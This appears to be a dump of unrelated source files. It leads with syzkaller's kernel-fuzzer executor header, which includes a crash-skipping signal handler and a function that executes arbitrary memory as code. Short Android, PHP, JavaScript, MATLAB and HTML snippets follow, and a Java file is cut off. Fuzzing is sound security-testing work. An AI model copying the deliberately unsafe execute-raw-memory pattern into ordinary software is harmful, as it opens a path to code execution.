text:
// Copyright 2016 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// This file is shared between executor and csource package.
// csource does a bunch of transformations with this file:
// - unused parts are stripped using #if SYZ* defines
// - includes are hoisted to the top and deduplicated
// - comments and empty lines are stripped
// - NORETURN/PRINTF/debug are removed
// - exitf/fail are replaced with exit
// - uintN types are replaced with uintN_t
// - /*{{{FOO}}}*/ placeholders are replaced by actual values

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#if GOOS_freebsd || GOOS_test && HOSTGOOS_freebsd
#include <sys/endian.h> // for htobe*.
#elif GOOS_darwin
#include <libkern/OSByteOrder.h>
#define htobe16(x) OSSwapHostToBigInt16(x)
#define htobe32(x) OSSwapHostToBigInt32(x)
#define htobe64(x) OSSwapHostToBigInt64(x)
#define le16toh(x) OSSwapLittleToHostInt16(x)
#define htole16(x) OSSwapHostToLittleInt16(x)
#elif GOOS_windows
#define htobe16 _byteswap_ushort
#define htobe32 _byteswap_ulong
#define htobe64 _byteswap_uint64
#define le16toh(x) x
#define htole16(x) x
typedef signed int ssize_t;
#else
#include <endian.h> // for htobe*.
#endif
#include <stdint.h>
#include <stdio.h> // for fmt arguments
#include <stdlib.h>
#include <string.h>

#if SYZ_TRACE
#include <errno.h>
#endif

#if !SYZ_EXECUTOR
/*{{{SYSCALL_DEFINES}}}*/
#endif

#if SYZ_EXECUTOR && !GOOS_linux
#if !GOOS_windows
#include <unistd.h>
#endif
NORETURN void doexit(int status)
{
	_exit(status);
	for (;;) {
	}
}
#if !GOOS_fuchsia
NORETURN void doexit_thread(int status)
{
	// For BSD systems, _exit seems to do exactly what's needed.
	doexit(status);
}
#endif
#endif

#if SYZ_EXECUTOR || SYZ_MULTI_PROC || SYZ_REPEAT && SYZ_CGROUPS ||         \
    SYZ_NET_DEVICES || __NR_syz_mount_image || __NR_syz_read_part_table || \
    __NR_syz_usb_connect || __NR_syz_usb_connect_ath9k ||                  \
    (GOOS_freebsd || GOOS_darwin || GOOS_openbsd || GOOS_netbsd) && SYZ_NET_INJECTION
static unsigned long long procid;
#endif

#if !GOOS_fuchsia && !GOOS_windows
#if SYZ_EXECUTOR || SYZ_HANDLE_SEGV
#include <setjmp.h>
#include <signal.h>
#include <string.h>

#if GOOS_linux
#include <sys/syscall.h>
#endif

static __thread int clone_ongoing;
static __thread int skip_segv;
static __thread jmp_buf segv_env;

#if GOOS_akaros
#include <parlib/parlib.h>
static void recover(void)
{
	_longjmp(segv_env, 1);
}
#endif

static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
	// Generated programs can contain bad (unmapped/protected) addresses,
	// which cause SIGSEGVs during copyin/copyout.
	// This handler ignores such crashes to allow the program to proceed.
	// We additionally opportunistically check that the faulty address
	// is not within executable data region, because such accesses can corrupt
	// output region and then fuzzer will fail on corrupted data.

	if (__atomic_load_n(&clone_ongoing, __ATOMIC_RELAXED) != 0) {
		// During clone, we always exit on a SEGV. If we do not, then
		// it might prevent us from running child-specific code. E.g.
		// if an invalid stack is passed to the clone() call, then it
		// will trigger a seg fault, which in turn causes the child to
		// jump over the NONFAILING macro and continue execution in
		// parallel with the parent.
		doexit_thread(sig);
	}

	uintptr_t addr = (uintptr_t)info->si_addr;
	const uintptr_t prog_start = 1 << 20;
	const uintptr_t prog_end = 100 << 20;
	int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
	int valid = addr < prog_start || addr > prog_end;
#if GOOS_freebsd || (GOOS_test && HOSTGOOS_freebsd)
	// FreeBSD delivers SIGBUS in response to any fault that isn't a page
	// fault.  In this case it tries to be helpful and sets si_addr to the
	// address of the faulting instruction rather than zero as other
	// operating systems seem to do.  However, such faults should always be
	// ignored.
	if (sig == SIGBUS)
		valid = 1;
#endif
	if (skip && valid) {
		debug("SIGSEGV on %p, skipping\n", (void*)addr);
#if GOOS_akaros
		struct user_context* uctx = (struct user_context*)ctx;
		uctx->tf.hw_tf.tf_rip = (long)(void*)recover;
		return;
#else
		_longjmp(segv_env, 1);
#endif
	}
	debug("SIGSEGV on %p, exiting\n", (void*)addr);
	doexit(sig);
}

static void install_segv_handler(void)
{
	struct sigaction sa;
#if GOOS_linux
	// Don't need that SIGCANCEL/SIGSETXID glibc stuff.
	// SIGCANCEL sent to main thread causes it to exit
	// without bringing down the whole group.
	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = SIG_IGN;
	syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
	syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
#endif
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = segv_handler;
	sa.sa_flags = SA_NODEFER | SA_SIGINFO;
	sigaction(SIGSEGV, &sa, NULL);
	sigaction(SIGBUS, &sa, NULL);
}

#define NONFAILING(...)                                              \
	({                                                           \
		int ok = 1;                                          \
		__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
		if (_setjmp(segv_env) == 0) {                        \
			__VA_ARGS__;                                 \
		} else                                               \
			ok = 0;                                      \
		__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
		ok;                                                  \
	})
#endif
#endif

#if !GOOS_linux
#if (SYZ_EXECUTOR || SYZ_REPEAT) && SYZ_EXECUTOR_USES_FORK_SERVER
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>

static void kill_and_wait(int pid, int* status)
{
	kill(pid, SIGKILL);
	while (waitpid(-1, status, 0) != pid) {
	}
}
#endif
#endif

#if !GOOS_windows
#if SYZ_EXECUTOR || SYZ_THREADED || SYZ_REPEAT && SYZ_EXECUTOR_USES_FORK_SERVER || \
    __NR_syz_usb_connect || __NR_syz_usb_connect_ath9k || __NR_syz_sleep_ms
static void sleep_ms(uint64 ms)
{
	usleep(ms * 1000);
}
#endif

#if SYZ_EXECUTOR || SYZ_THREADED || SYZ_REPEAT && SYZ_EXECUTOR_USES_FORK_SERVER || \
    SYZ_LEAK
#include <time.h>

static uint64 current_time_ms(void)
{
	struct timespec ts;
	if (clock_gettime(CLOCK_MONOTONIC, &ts))
		fail("clock_gettime failed");
	return (uint64)ts.tv_sec * 1000 + (uint64)ts.tv_nsec / 1000000;
}
#endif

#if SYZ_EXECUTOR || SYZ_SANDBOX_ANDROID || SYZ_USE_TMP_DIR
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

static void use_temporary_dir(void)
{
#if SYZ_SANDBOX_ANDROID
	char tmpdir_template[] = "/data/data/syzkaller/syzkaller.XXXXXX";
#elif GOOS_fuchsia
	char tmpdir_template[] = "/tmp/syzkaller.XXXXXX";
#else
	char tmpdir_template[] = "./syzkaller.XXXXXX";
#endif
	char* tmpdir = mkdtemp(tmpdir_template);
	if (!tmpdir)
		fail("failed to mkdtemp");
	if (chmod(tmpdir, 0777))
		fail("failed to chmod");
	if (chdir(tmpdir))
		fail("failed to chdir");
}
#endif
#endif

#if GOOS_akaros || GOOS_netbsd || GOOS_freebsd || GOOS_darwin || GOOS_openbsd || GOOS_test
#if (SYZ_EXECUTOR || SYZ_REPEAT) && SYZ_EXECUTOR_USES_FORK_SERVER && (SYZ_EXECUTOR || SYZ_USE_TMP_DIR)
#include <dirent.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#if GOOS_freebsd
// Unset file flags which might inhibit unlinking.
static void reset_flags(const char* filename)
{
	struct stat st;
	if (lstat(filename, &st))
		exitf("lstat(%s) failed", filename);
	st.st_flags &= ~(SF_NOUNLINK | UF_NOUNLINK | SF_IMMUTABLE | UF_IMMUTABLE | SF_APPEND | UF_APPEND);
	if (lchflags(filename, st.st_flags))
		exitf("lchflags(%s) failed", filename);
}
#endif

// We need to prevent the compiler from unrolling the while loop by using the gcc's noinline attribute
// because otherwise it could trigger the compiler warning about a potential format truncation
// when a filename is constructed with help of snprintf. This warning occurs because by unrolling
// the while loop, the snprintf call will try to concatenate 2 buffers of length FILENAME_MAX and put
// the result into a buffer of length FILENAME_MAX which is apparently not possible. But this is no
// problem in our case because file and directory names should be short enough and fit into a buffer
// of length FILENAME_MAX.
static void __attribute__((noinline)) remove_dir(const char* dir)
{
	DIR* dp = opendir(dir);
	if (dp == NULL) {
		if (errno == EACCES) {
			// We could end up here in a recursive call to remove_dir() below.
			// One of executed syscall could end up creating a directory rooted
			// in the current working directory created by loop() with zero
			// permissions. Try to perform a best effort removal of the
			// directory.
			if (rmdir(dir))
				exitf("rmdir(%s) failed", dir);
			return;
		}
		exitf("opendir(%s) failed", dir);
	}
	struct dirent* ep = 0;
	while ((ep = readdir(dp))) {
		if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
			continue;
		char filename[FILENAME_MAX];
		snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
		struct stat st;
		if (lstat(filename, &st))
			exitf("lstat(%s) failed", filename);
		if (S_ISDIR(st.st_mode)) {
			remove_dir(filename);
			continue;
		}
		if (unlink(filename)) {
#if GOOS_freebsd
			if (errno == EPERM) {
				reset_flags(filename);
				reset_flags(dir);
				if (unlink(filename) == 0)
					continue;
			}
#endif
			exitf("unlink(%s) failed", filename);
		}
	}
	closedir(dp);
	while (rmdir(dir)) {
#if GOOS_freebsd
		if (errno == EPERM) {
			reset_flags(dir);
			if (rmdir(dir) == 0)
				break;
		}
#endif
		exitf("rmdir(%s) failed", dir);
	}
}
#endif
#endif

#if !GOOS_linux && !GOOS_netbsd
#if SYZ_EXECUTOR || SYZ_FAULT
static int inject_fault(int nth)
{
	return 0;
}
#endif

#if SYZ_FAULT
static void setup_fault()
{
}
#endif

#if SYZ_EXECUTOR
static int fault_injected(int fail_fd)
{
	return 0;
}
#endif
#endif

#if !GOOS_windows
#if SYZ_EXECUTOR || SYZ_THREADED
#include <errno.h>
#include <pthread.h>

static void thread_start(void* (*fn)(void*), void* arg)
{
	pthread_t th;
	pthread_attr_t attr;
	pthread_attr_init(&attr);
	pthread_attr_setstacksize(&attr, 128 << 10);
	// Clone can fail spuriously with EAGAIN if there is a concurrent execve in progress.
	// (see linux kernel commit 498052bba55ec). But it can also be a true limit imposed by cgroups.
	// In one case we want to retry infinitely, in another -- fail immidiately...
	int i = 0;
	for (; i < 100; i++) {
		if (pthread_create(&th, &attr, fn, arg) == 0) {
			pthread_attr_destroy(&attr);
			return;
		}
		if (errno == EAGAIN) {
			usleep(50);
			continue;
		}
		break;
	}
	exitf("pthread_create failed");
}

#endif
#endif

#if GOOS_freebsd || GOOS_darwin || GOOS_netbsd || GOOS_openbsd || GOOS_akaros || GOOS_test
#if SYZ_EXECUTOR || SYZ_THREADED

#include <pthread.h>
#include <time.h>

typedef struct {
	pthread_mutex_t mu;
	pthread_cond_t cv;
	int state;
} event_t;

static void event_init(event_t* ev)
{
	if (pthread_mutex_init(&ev->mu, 0))
		exitf("pthread_mutex_init failed");
	if (pthread_cond_init(&ev->cv, 0))
		exitf("pthread_cond_init failed");
	ev->state = 0;
}

static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	pthread_mutex_lock(&ev->mu);
	if (ev->state)
		fail("event already set");
	ev->state = 1;
	pthread_mutex_unlock(&ev->mu);
	pthread_cond_broadcast(&ev->cv);
}

static void event_wait(event_t* ev)
{
	pthread_mutex_lock(&ev->mu);
	while (!ev->state)
		pthread_cond_wait(&ev->cv, &ev->mu);
	pthread_mutex_unlock(&ev->mu);
}

static int event_isset(event_t* ev)
{
	pthread_mutex_lock(&ev->mu);
	int res = ev->state;
	pthread_mutex_unlock(&ev->mu);
	return res;
}

static int event_timedwait(event_t* ev, uint64 timeout)
{
	uint64 start = current_time_ms();
	uint64 now = start;
	pthread_mutex_lock(&ev->mu);
	for (;;) {
		if (ev->state)
			break;
		uint64 remain = timeout - (now - start);
		struct timespec ts;
		ts.tv_sec = remain / 1000;
		ts.tv_nsec = (remain % 1000) * 1000 * 1000;
		pthread_cond_timedwait(&ev->cv, &ev->mu, &ts);
		now = current_time_ms();
		if (now - start > timeout)
			break;
	}
	int res = ev->state;
	pthread_mutex_unlock(&ev->mu);
	return res;
}
#endif
#endif

#if SYZ_EXECUTOR || SYZ_USE_BITMASKS
#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len)                        \
	*(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \
			       (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
#endif

#if SYZ_EXECUTOR || SYZ_USE_CHECKSUMS
struct csum_inet {
	uint32 acc;
};

static void csum_inet_init(struct csum_inet* csum)
{
	csum->acc = 0;
}

static void csum_inet_update(struct csum_inet* csum, const uint8* data, size_t length)
{
	if (length == 0)
		return;

	size_t i = 0;
	for (; i < length - 1; i += 2)
		csum->acc += *(uint16*)&data[i];

	if (length & 1)
		csum->acc += le16toh((uint16)data[length - 1]);

	while (csum->acc > 0xffff)
		csum->acc = (csum->acc & 0xffff) + (csum->acc >> 16);
}

static uint16 csum_inet_digest(struct csum_inet* csum)
{
	return ~csum->acc;
}
#endif

#if GOOS_akaros
#include "common_akaros.h"
#elif GOOS_freebsd || GOOS_darwin || GOOS_netbsd || GOOS_openbsd
#include "common_bsd.h"
#elif GOOS_fuchsia
#include "common_fuchsia.h"
#elif GOOS_linux
#include "common_linux.h"
#elif GOOS_test
#include "common_test.h"
#elif GOOS_windows
#include "common_windows.h"
#else
#error "unknown OS"
#endif

#if SYZ_TEST_COMMON_EXT_EXAMPLE
#include "common_ext_example.h"
#else
#include "common_ext.h"
#endif

#if SYZ_EXECUTOR || __NR_syz_execute_func
// syz_execute_func(text ptr[in, text[taget]])
static long syz_execute_func(volatile long text)
{
	// Here we just to random code which is inherently unsafe.
	// But we only care about coverage in the output region.
	// The following code tries to remove left-over pointers in registers
	// from the reach of the random code, otherwise it's known to reach
	// the output region somehow. The asm block is arch-independent except
	// for the number of available registers.
#if defined(__GNUC__)
	volatile long p[8] = {0};
	(void)p;
#if GOARCH_amd64
	asm volatile("" ::"r"(0l), "r"(1l), "r"(2l), "r"(3l), "r"(4l), "r"(5l), "r"(6l),
		     "r"(7l), "r"(8l), "r"(9l), "r"(10l), "r"(11l), "r"(12l), "r"(13l));
#endif
#endif
	((void (*)(void))(text))();
	return 0;
}
#endif

#if SYZ_THREADED
struct thread_t {
	int created, call;
	event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
	struct thread_t* th = (struct thread_t*)arg;
	for (;;) {
		event_wait(&th->ready);
		event_reset(&th->ready);
		execute_call(th->call);
		__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
		event_set(&th->done);
	}
	return 0;
}

#if SYZ_REPEAT
static void execute_one(void)
#else
static void loop(void)
#endif
{
#if SYZ_REPRO
	if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
	}
#endif
#if SYZ_TRACE
	fprintf(stderr, "### start\n");
#endif
	int i, call, thread;
	for (call = 0; call < /*{{{NUM_CALLS}}}*/; call++) {
		for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) {
			struct thread_t* th = &threads[thread];
			if (!th->created) {
				th->created = 1;
				event_init(&th->ready);
				event_init(&th->done);
				event_set(&th->done);
				thread_start(thr, th);
			}
			if (!event_isset(&th->done))
				continue;
			event_reset(&th->done);
			th->call = call;
			__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
			event_set(&th->ready);
#if SYZ_ASYNC
			if (/*{{{ASYNC_CONDITIONS}}}*/)
				break;
#endif
			event_timedwait(&th->done, /*{{{CALL_TIMEOUT_MS}}}*/);
			break;
		}
	}
	for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
		sleep_ms(1);
#if SYZ_HAVE_CLOSE_FDS
	close_fds();
#endif
}
#endif

#if SYZ_EXECUTOR || SYZ_REPEAT
static void execute_one(void);
#if SYZ_EXECUTOR_USES_FORK_SERVER
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>

#if GOOS_linux
#define WAIT_FLAGS __WALL
#else
#define WAIT_FLAGS 0
#endif

#if SYZ_EXECUTOR
static void reply_handshake();
#endif

static void loop(void)
{
#if SYZ_HAVE_SETUP_LOOP
	setup_loop();
#endif
#if SYZ_EXECUTOR
	// Tell parent that we are ready to serve.
	reply_handshake();
#endif
#if SYZ_EXECUTOR && GOOS_akaros
	// For akaros we do exec in the child process because new threads can't be created in the fork child.
	// Thus we proxy input program over the child_pipe to the child process.
	int child_pipe[2];
	if (pipe(child_pipe))
		fail("pipe failed");
#endif
	int iter = 0;
#if SYZ_REPEAT_TIMES
	for (; iter < /*{{{REPEAT_TIMES}}}*/; iter++) {
#else
	for (;; iter++) {
#endif
#if SYZ_EXECUTOR || SYZ_USE_TMP_DIR
		// Create a new private work dir for this test (removed at the end of the loop).
		char cwdbuf[32];
		sprintf(cwdbuf, "./%d", iter);
		if (mkdir(cwdbuf, 0777))
			fail("failed to mkdir");
#endif
#if SYZ_HAVE_RESET_LOOP
		reset_loop();
#endif
#if SYZ_EXECUTOR
		receive_execute();
#endif
		int pid = fork();
		if (pid < 0)
			fail("clone failed");
		if (pid == 0) {
#if SYZ_EXECUTOR || SYZ_USE_TMP_DIR
			if (chdir(cwdbuf))
				fail("failed to chdir");
#endif
#if SYZ_HAVE_SETUP_TEST
			setup_test();
#endif
#if SYZ_HAVE_SETUP_EXT_TEST
			setup_ext_test();
#endif
#if GOOS_akaros
#if SYZ_EXECUTOR
			dup2(child_pipe[0], kInPipeFd);
			close(child_pipe[0]);
			close(child_pipe[1]);
#endif
			execl(program_name, program_name, "child", NULL);
			fail("execl failed");
#else
#if SYZ_EXECUTOR
			close(kInPipeFd);
#endif
#if SYZ_EXECUTOR && SYZ_EXECUTOR_USES_SHMEM
			close(kOutPipeFd);
#endif
			execute_one();
#if SYZ_HAVE_CLOSE_FDS && !SYZ_THREADED
			close_fds();
#endif
			doexit(0);
#endif
		}
		debug("spawned worker pid %d\n", pid);

#if SYZ_EXECUTOR && GOOS_akaros
		resend_execute(child_pipe[1]);
#endif
		// We used to use sigtimedwait(SIGCHLD) to wait for the subprocess.
		// But SIGCHLD is also delivered when a process stops/continues,
		// so it would require a loop with status analysis and timeout recalculation.
		// SIGCHLD should also unblock the usleep below, so the spin loop
		// should be as efficient as sigtimedwait.
		int status = 0;
		uint64 start = current_time_ms();
#if SYZ_EXECUTOR && SYZ_EXECUTOR_USES_SHMEM
		uint64 last_executed = start;
		uint32 executed_calls = __atomic_load_n(output_data, __ATOMIC_RELAXED);
#endif
		for (;;) {
			if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
				break;
			sleep_ms(1);
#if SYZ_EXECUTOR
#if SYZ_EXECUTOR_USES_SHMEM
			// Even though the test process executes exit at the end
			// and execution time of each syscall is bounded by syscall_timeout_ms (~50ms),
			// this backup watchdog is necessary and its performance is important.
			// The problem is that exit in the test processes can fail (sic).
			// One observed scenario is that the test processes prohibits
			// exit_group syscall using seccomp. Another observed scenario
			// is that the test processes setups a userfaultfd for itself,
			// then the main thread hangs when it wants to page in a page.
			// Below we check if the test process still executes syscalls
			// and kill it after ~1s of inactivity.
			uint64 min_timeout_ms = program_timeout_ms * 3 / 5;
			uint64 inactive_timeout_ms = syscall_timeout_ms * 20;
			uint64 now = current_time_ms();
			uint32 now_executed = __atomic_load_n(output_data, __ATOMIC_RELAXED);
			if (executed_calls != now_executed) {
				executed_calls = now_executed;
				last_executed = now;
			}
			// TODO: adjust timeout for progs with syz_usb_connect call.
			if ((now - start < program_timeout_ms) &&
			    (now - start < min_timeout_ms || now - last_executed < inactive_timeout_ms))
				continue;
#else
			if (current_time_ms() - start < program_timeout_ms)
				continue;
#endif
#else
			if (current_time_ms() - start < /*{{{PROGRAM_TIMEOUT_MS}}}*/)
				continue;
#endif
			debug("killing hanging pid %d\n", pid);
			kill_and_wait(pid, &status);
			break;
		}
#if SYZ_EXECUTOR
		if (WEXITSTATUS(status) == kFailStatus) {
			errno = 0;
			fail("child failed");
		}
		reply_execute(0);
#endif
#if SYZ_EXECUTOR || SYZ_USE_TMP_DIR
		remove_dir(cwdbuf);
#endif
#if SYZ_LEAK
		// Note: this will fail under setuid sandbox because we don't have
		// write permissions for the kmemleak file.
		check_leaks();
#endif
	}
}
#else
static void loop(void)
{
	execute_one();
}
#endif
#endif

#if !SYZ_EXECUTOR

/*{{{RESULTS}}}*/

#if SYZ_THREADED || SYZ_REPEAT || SYZ_SANDBOX_NONE || SYZ_SANDBOX_SETUID || SYZ_SANDBOX_NAMESPACE || SYZ_SANDBOX_ANDROID
#if SYZ_THREADED
void execute_call(int call)
#elif SYZ_REPEAT
void execute_one(void)
#else
void loop(void)
#endif
{
	/*{{{SYSCALLS}}}*/
#if SYZ_HAVE_CLOSE_FDS && !SYZ_THREADED && !SYZ_REPEAT
	close_fds();
#endif
}
#endif

// This is the main function for csource.
#if GOOS_akaros && SYZ_REPEAT
#include <string.h>

int main(int argc, char** argv)
{
	/*{{{MMAP_DATA}}}*/

	program_name = argv[0];
	if (argc == 2 && strcmp(argv[1], "child") == 0)
		child();
#else
int main(void)
{
	/*{{{MMAP_DATA}}}*/
#endif

#if SYZ_HAVE_SETUP_EXT
	setup_ext();
#endif
#if SYZ_SYSCTL
	setup_sysctl();
#endif
#if SYZ_CGROUPS
	setup_cgroups();
#endif
#if SYZ_BINFMT_MISC
	setup_binfmt_misc();
#endif
#if SYZ_LEAK
	setup_leak();
#endif
#if SYZ_FAULT
	setup_fault();
#endif
#if SYZ_KCSAN
	setup_kcsan();
#endif
#if SYZ_USB
	setup_usb();
#endif
#if SYZ_802154
	setup_802154();
#endif

#if SYZ_HANDLE_SEGV
	install_segv_handler();
#endif
#if SYZ_MULTI_PROC
	for (procid = 0; procid < /*{{{PROCS}}}*/; procid++) {
		if (fork() == 0) {
#endif
#if SYZ_USE_TMP_DIR || SYZ_SANDBOX_ANDROID
			use_temporary_dir();
#endif
			/*{{{SANDBOX_FUNC}}}*/
#if SYZ_HAVE_CLOSE_FDS && !SYZ_THREADED && !SYZ_REPEAT && !SYZ_SANDBOX_NONE && \
    !SYZ_SANDBOX_SETUID && !SYZ_SANDBOX_NAMESPACE && !SYZ_SANDBOX_ANDROID
			close_fds();
#endif
#if SYZ_MULTI_PROC
		}
	}
	sleep(1000000);
#endif
#if !SYZ_MULTI_PROC && !SYZ_REPEAT && SYZ_LEAK
	check_leaks();
#endif
	return 0;
}
#endif


text:
package com.dciets.cumets.utils;

import android.content.Context;
import android.content.SharedPreferences;

public class PreferencesController {
    private static final String PREF_NAME = "cumets";

    public static final String TOKEN = "USER_PREF_TOKEN";
    public static final String ALERT_DISTANCE = "USER_PREF_ALERT_DISTANCE";

    public static void setPreference(final Context context, final String preference, final String value) {
        SharedPreferences.Editor editor = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE).edit();
        editor.putString(preference, value);
        editor.commit();
    }

    public static String getPreference(final Context context, final String preference) {
        SharedPreferences prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE);
        String restoredText = prefs.getString(preference, null);
        return restoredText;
    }

    public static int getIntPreference(final Context context, final String preference) {
        SharedPreferences prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE);
        int restoredText = prefs.getInt(preference, -1);
        return restoredText;
    }
}

redpajama_set_name: RedPajamaGithub


text:
"use strict";
function __export(m) {
    for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
}
__export(require('./column-chooser/column-chooser'));


text:
var dir = require('require-dir');
dir('./gulp/tasks');


text:
@interface MenuViewController ()

@end

@implementation MenuViewController

- (void)viewDidLoad {
    [super viewDidLoad];

    self.buttonPlay.layer.cornerRadius = 7;
    self.buttonHallOfFame.layer.cornerRadius = 7;
}

@end


text:
% This checks deltaD by calculating deltaTheta
% to see if the equation holds
% The result of deltaTheta should be
% deltaTheta*distToPocket=PocketRadius
clear all

% Phi (convert to radians)
phi=0*pi/180;

% Change in phi (converted to radians)
deltaPhi=1.3636*pi/180;

% Distance to cue ball (feet converted to metres)
d=2.5*0.3048;

% Radius of balls (metres)
R=0.028575;

% x is used to make the deltaTheta equation simpler
x=(d/(2*R))*sin(deltaPhi);

% Calculates deltaTheta
deltaTheta=(phi-deltaPhi+asin(x-sin(phi-deltaPhi)));

% Prints deltaTheta in degrees
inDegrees=deltaTheta*180/pi

% distance to pocket (metres)
distToPocket=sqrt(2)*0.3048;

% Hit radius for delta phi given certain distance to pocket
hitRadius=distToPocket*sin(deltaTheta)


text:
<?xml version="1.0" encoding="utf-8"?>
<set xmlns:android="http://schemas.android.com/apk/res/android"
    android:fillAfter="true">

    <!-- Rotate -->
    <rotate
        android:duration="200"
        android:fromDegrees="45"
        android:interpolator="@android:anim/bounce_interpolator"
        android:pivotX="50%"
        android:pivotY="50%"
        android:toDegrees="0"></rotate>

</set>


text:
<?xml version="1.0" encoding="utf-8"?>
<PreferenceScreen xmlns:android="http://schemas.android.com/apk/res/android" >

	<CheckBoxPreference
		android:defaultValue="true"
		android:key="map_show_grid"
		android:persistent="true"
		android:summaryOff="@string/prefs_map_show_grid_summary_off"
		android:summaryOn="@string/prefs_map_show_grid_summary_on"
		android:title="@string/prefs_map_show_grid" />
	<CheckBoxPreference
		android:defaultValue="true"
		android:key="export_show_grid"
		android:persistent="true"
		android:summaryOff="@string/prefs_export_show_grid_summary_off"
		android:summaryOn="@string/prefs_export_show_grid_summary_on"
		android:title="@string/prefs_export_show_grid" />

	<net.margaritov.preference.colorpicker.ColorPickerPreference
		alphaSlider="true"
		android:defaultValue="0xff444444"
		android:key="map_color_empty_tile"
		android:summary="@string/prefs_map_color_empty_tile_summary"
		android:title="@string/prefs_map_color_empty_tile_title" />

</PreferenceScreen>


text:
<?php

namespace AddUserDinoBundle\Controller\Blog;

use AddUserDinoBundle\Entity\Blog\Comment;
use AddUserDinoBundle\Entity\Blog\Post;
use DateTime;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpKernel\Exception\HttpException;

/**
 * Post controller.
 *
 * @Route("blog")
 */
class CommentController extends Controller
{
    /**
     * Creates comment.
     *
     * @Route("/{slug}/comment/create/{parentId}", defaults={"parentId" = null}, name="blog_create_comment")
     *
     * @Method("POST")
     */
    public function createCommentAction(Request $request, $slug, $parentId)
    {
        $repository = $this->getDoctrine()->getManager()->getRepository('AddUserDinoBundle:Blog\Post');
        $post = $repository->findOneBySlug($slug);
        $user = $this->getUser();

        if(!$post) {
            throw new HttpException('Nie ma takiego posta');
        }

        $form = $this->container->get('dino_blog_manager')->createComment($post, $request, $user, $parentId);
        if (true === $form) {
            $this->get('session')->getFlashBag()->add('success', 'Dodano komentarz');
            return $this->redirect($this->generateUrl('blog_post_show', array(
                'slug' => $post->getSlug()
            )));
        }
        return $this->redirect($this->generateUrl('blog_post_show', array(
            'slug' => $slug,
            'post' => $post,
            'form' => $form->createView()
        )));
    }

    /**
     * Zwraca świeże komentarze
     * @return JsonResponse
     * @throws \Exception
     */
    public function loadCommentsAction(Request $request)
    {
        $last_comment = $request->request->get('last_comment');
        $post_id = $request->request->get('post_id');
        $repository = $this->getDoctrine()->getManager()->getRepository('AddUserDinoBundle:Blog\Comment');
        $fresh_comments = $repository->getFreshCommentsTree($post_id, $last_comment);

        $check_parent = $this->container->get('dino_blog_manager')->whatever($fresh_comments, 'lft', '2');
//        dump('hahaha');die;
//        dump($fresh_comments, $check_parent);die;

        $template = $this->render('AddUserDinoBundle:Blog/Post:commentAjax.html.twig',array(
            'fresh_comments' => $fresh_comments,
        ))->getContent();
        $content = json_encode($template);
        $response = new JsonResponse();

        if ($fresh_comments != null) {
            $response->setData(array(
                "code" => 200, //200 z jakiegoś powodu nie działa??
                "success" => true,
                "content" => $content,
//                "child_comments" => $child_comments
            ));
            $response->headers->set('Content-Type', 'application/json');

            return $response;
        } else {
            $response->setData(array(
                "code" => 204, //200 z jakiegoś powodu nie działa??
                "success" => true,
            ));
            $response->headers->set('Content-Type', 'application/json');

            return $response;
        }
    }

}


text:
<!DOCTYPE html>

  <title>Pat's Salmon Cookies</title>
  <link rel="stylesheet" href="css/style.css" type="text/css">
  <link href='https://fonts.googleapis.com/css?family=Raleway' rel='stylesheet' type='text/css'>

        Home
        About
        Locations
        Contact Us
        Store

Pat's

Pat's Salmon Cookies

Sales Data

  <form id="inputForm">
    <fieldset>
      <legend>Add or update franchise locations</legend>

       Location Name:
      <input type="text" name="newName" required/>

       Customers Per Hour- Min:
      <input type="number" step ="any" name="newMin" required/>

       Max:
      <input type="number" step="any" name="newMax" required/>

       Cookies Per Sale:
      <input type="number" step="any" name="newCookies" required/>

      <button type="submit" id="submitButton">Submit</button>
    </fieldset>
  </form>

&copy2016


text:
package Builder.Example2.builder;

import Builder.Example2.view.AddressView;
import Builder.Example2.view.GroupAddressView;

import java.util.Map;

/**
 * Created by Serhat CAN on 08.11.2015.
 */
public class GroupViewBuilder implements ViewBuilder {

    private AddressView addressView;

    public GroupViewBuilder() {
        addressView = new GroupAddressView();
    }

    public AddressView build() {
        return this.addressView;
    }

    public void addEmailAddress(String emailAddress) {
        addressView.setEmailAddress(emailAddress);
    }

    public void addFirstName(String firstName) {

    }

